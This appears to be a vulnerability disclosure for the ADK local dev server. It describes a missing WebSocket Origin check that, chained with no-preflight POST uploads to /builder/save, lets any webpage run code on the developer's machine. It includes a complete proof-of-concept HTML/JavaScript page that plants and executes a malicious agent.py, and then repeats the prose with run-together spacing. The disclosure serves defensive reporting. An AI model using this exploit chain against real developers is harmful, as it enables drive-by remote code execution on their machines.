Description
The /run_live WebSocket endpoint does not validate the Origin header. Since browsers do not enforce CORS on WebSocket connections, any webpage can establish a WebSocket connection to the local ADK dev server.
Attack Chain
A malicious webpage can chain this with the /builder/save endpoint (which accepts simple POST requests that bypass CORS preflight) to achieve remote code execution:
- Upload a malicious
agent.py via POST /builder/save?tmp=true (multipart/form-data, no preflight)
- Persist it via
POST /builder/save
- Create a session via
POST /apps/{app}/users/{user}/sessions/{session}
- Trigger execution via
WebSocket /run_live — the agent loader imports the uploaded Python file, executing arbitrary code
Steps 1–3 use mode: "no-cors" simple requests. Step 4 exploits the missing WebSocket Origin check.
Impact
Remote code execution on the machine running adk web. A user only needs to visit a malicious webpage while the dev server is running.
Reproduction
Serve the following HTML and visit it while adk web is running on localhost:8000:
<script>
const T = "http://localhost:8000";
const app = "csrf" + Date.now();
(async () => {
// Upload malicious agent
let fd = new FormData();
fd.append("files", new Blob(["import os\nos.system('id > /tmp/pwned')\n"]), app + "/agent.py");
await fetch(T + "/builder/save?tmp=true", { method: "POST", body: fd, mode: "no-cors" });
// Persist
fd = new FormData();
fd.append("files", new Blob([""]), app + "/d");
await fetch(T + "/builder/save", { method: "POST", body: fd, mode: "no-cors" });
// Create session
await fetch(T + "/apps/" + app + "/users/x/sessions/s", { method: "POST", mode: "no-cors" });
await new Promise(r => setTimeout(r, 300));
// Trigger RCE via WebSocket
new WebSocket("ws://localhost:8000/run_live?app_name=" + app + "&user_id=x&session_id=s");
})();
</script>
Description
The
/run_liveWebSocket endpoint does not validate theOriginheader. Since browsers do not enforce CORS on WebSocket connections, any webpage can establish a WebSocket connection to the local ADK dev server.Attack Chain
A malicious webpage can chain this with the
/builder/saveendpoint (which accepts simple POST requests that bypass CORS preflight) to achieve remote code execution:agent.pyviaPOST /builder/save?tmp=true(multipart/form-data, no preflight)POST /builder/savePOST /apps/{app}/users/{user}/sessions/{session}WebSocket /run_live— the agent loader imports the uploaded Python file, executing arbitrary codeSteps 1–3 use
mode: "no-cors"simple requests. Step 4 exploits the missing WebSocket Origin check.Impact
Remote code execution on the machine running
adk web. A user only needs to visit a malicious webpage while the dev server is running.Reproduction
Serve the following HTML and visit it while
adk webis running onlocalhost:8000: